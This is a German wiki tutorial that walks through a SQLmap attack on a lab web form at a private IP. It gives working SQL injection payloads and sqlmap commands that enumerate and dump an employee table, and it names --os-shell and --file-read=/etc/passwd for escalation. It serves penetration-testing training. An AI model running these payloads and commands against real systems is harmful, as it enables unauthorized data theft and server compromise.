SQLmap Workflow

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

SQLmap Workflow

Einleitung

SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.

Test auf Verwundbarkeit

Erkenntnisblock

[13:13:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Gefundene Verwundbarkeiten

Parameter Technik Beschreibung Beispiel-Payload
username (POST) Boolean-based blind Antwort ändert sich abhängig von TRUE/FALSE username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
username (POST) Error-based Erzwingt DB-Fehler und leakt Infos username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
username (POST) Time-based blind Antwortzeit verzögert durch SLEEP() username=test' AND (SELECT SLEEP(5))--

Version und Banner auslesen

Datenbanken auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
  • Erkenntnis: Es wurden zwei Datenbanken gefunden: information_schema und tuxmen.
  • Bewertung: information_schema ist eine Systemdatenbank. Fokus liegt auf tuxmen.

Tabellen in der Datenbank 'tuxmen' auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables
  • Erkenntnis: Auflistung der Tabellen in der Datenbank tuxmen.
  • Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.

Spalten in einer Tabelle auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns
  • Erkenntnis: Spaltennamen sichtbar, z. B. id, name, rolle.

Daten exfiltrieren

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump
  • Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.

Optionale Möglichkeiten

  • --os-shell → Versuch, Betriebssystembefehle auszuführen
  • --file-read=/etc/passwd → Datei auf dem Server auslesen
  • Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.

Fazit

SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.